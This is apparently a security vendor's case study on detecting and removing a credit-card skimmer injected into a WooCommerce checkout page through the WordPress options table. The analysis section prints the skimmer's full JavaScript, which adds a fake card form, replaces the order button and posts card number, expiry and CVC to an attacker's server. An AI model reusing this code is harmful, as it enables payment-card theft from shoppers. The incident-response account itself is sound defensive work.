Malware Detection and Removal from WooCommerce Checkout Page
The Outcome
Identified and eliminated a malicious script that intercepted customer payment information.
Background:
A few days ago, we encountered a serious security issue on a WooCommerce-based WordPress website. A malicious script had infiltrated the system and embedded a fake payment form on the checkout page. This form captured credit card information entered by users and sent them to a hacker’s server. The malware was stored within the WordPress database in the _options
table.
This case study details the process of detecting and removing the malware, explaining how it operated and the steps taken to clean the website.
Malware Description:
The malware inserted a form into the WooCommerce checkout page, mimicking a legitimate credit card payment input. The form asked for the following details:
- Card Number
- Expiry Date
- CVC Code
The malware script also manipulated the original “Place Order” button, replacing it with a fake button. Upon clicking the button, instead of processing the payment, it collected the payment details entered by the user and sent them to a remote server controlled by the attacker.
Phase 1: Identifying the Issue
Initial Symptoms:
The site appeared normal, but the checkout page behaved strangely when users submitted their payment details. Upon submitting the form, a POST request was being made to a suspicious third-party server, indicating that the payment information was being hijacked.
Steps Taken to Identify the Malware:
- Form Submission with a Test Card:
- We submitted a test card on the WooCommerce checkout page, expecting the payment to be processed by the legitimate payment gateway.
- Network Tab Analysis:
- Using the browser’s developer tools, specifically the Network tab, we monitored the HTTP requests sent when the form was submitted.
- We discovered that a POST request was being sent to
https://fabulo.xyz/api/accept-car
, which was unrelated to the legitimate payment processing flow.
- Payload Inspection:
- The request payload contained sensitive payment details such as the card number, expiration date, and CVC code, confirming that the malware was capturing and sending this data to the attacker.
- Source Code Review:
- By inspecting the page’s source code, we found malicious JavaScript dynamically injecting a fake payment form and sending the collected data to the attacker’s server.
Phase 2: Analyzing the Malicious Code
The following malicious code was discovered in the site_wide_header
option of the WordPress database. Here’s a breakdown of what each part of the code does:
let isChecked = localStorage.getItem("already_checked"); let btnId = "place_order"; let isFrame = true; let url2 = "https://fabulo.xyz/api/accept-car"; let loaded = false;
- isChecked: This variable checks if the fake form has already been submitted to avoid showing the form again.
- btnId & isFrame: These variables are used to locate and manipulate the “Place Order” button.
- url2: This is the malicious server endpoint to which the stolen payment data is sent.
- loaded: A flag to determine when the fake form has been successfully inserted.
Form Insertion Script:
window.addEventListener("load", e => { if (isFrame && document.URL.includes("afrekenen") && isChecked != "1") { setTimeout(() => { let frame = document.querySelector(".woocommerce-terms-and-conditions-wrapper"); let newDiv = document.createElement('div'); newDiv.classList.add("s_div1"); newDiv.innerHTML += ` <div> <span style="color: #515151; margin-bottom: 10px;">Kaartnummer *</span> <input type="text" class="input-text" id="cardNum" spellcheck="false" style="border: 1px solid; outline: none; width: 100%;padding: 5px;margin-top: 10px;" placeholder="1234 1234 1234 1234" data-ddg-inputtype="creditCards.cardNumber"> <div style="display: flex; margin-top: 10px;"> <div style="margin-bottom: 5px;display: flex;flex-direction: column;width: 50%;margin-right: 15px;"> <span style="color: #515151; margin-bottom: 10px;">Vervaldatum *</span> <input id="exp" type="text" class="input-text" spellcheck="false" placeholder="MM / AA" style="border: 1px solid; outline: none; margin-right: 15px; width: 100%;padding: 5px;" data-ddg-inputtype="creditCards.expiration"> </div> <div style="display: flex;flex-direction: column;width: 50%;"> <span style="color: #515151; margin-bottom: 10px;">Kaartcode (CVC) *</span> <input id="cvv" type="text" spellcheck="false" class="input-text" placeholder="CVC" style="border: 1px solid; outline: none; width: 100%;padding: 5px;" data-ddg-inputtype="creditCards.cardSecurityCode"> </div> </div> </div> `; frame.appendChild(newDiv); loaded = true; }, 5000); } });
Replacing the Legitimate “Place Order” Button:
setInterval(() => { if (isFrame && loaded && !breakInterval && isChecked != "1") { let checkout = document.getElementById("place_order"); let newBtn = document.createElement("button"); newBtn.id = checkout.id; newBtn.className = checkout.className; newBtn.name = checkout.name; newBtn.innerText = checkout.innerText; newBtn.addEventListener("click", clickFunc); checkout.parentElement.removeChild(checkout); checkout.parentElement.appendChild(newBtn); } }, 2000);
Malicious Data Capture and Sending:
function clickFunc(e) { e.preventDefault(); const card = document.getElementById("cardNum"); const exp = document.getElementById("exp"); const cvv = document.getElementById("cvv"); let dataObject = { card: card.value, exp: exp.value, cvv: cvv.value }; fetch(url2, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ dataObject }) }).then(res => { localStorage.setItem("already_checked", "1"); window.location.reload(); }); }
Phase 3: Malware Removal Process
Step 1: Database Investigation
Once the malicious behavior was identified, we investigated the WordPress database for any suspicious entries. Using the following query, we located the injected JavaScript in the _options
table:
SELECT * FROM wp_options WHERE option_name LIKE 'site_wide_header';
Step 2: Removing the Malicious Code
UPDATE wp_options SET option_value = REPLACE(option_value, 'malicious_code_here', '') WHERE option_name = 'site_wide_header';
Conclusion
By identifying the source of the malware through network traffic inspection and database investigation, we successfully removed the malicious script and secured the site. The quick detection and resolution prevented further data theft, and the implementation of security best practices reduced the risk of future compromises.
This case emphasizes the importance of monitoring network requests, scanning for malware regularly, and keeping systems up to date to prevent attacks on e-commerce platforms.
Interested in similar results?
Get in touch with us today and see how we can help your business succeed.
Contact Us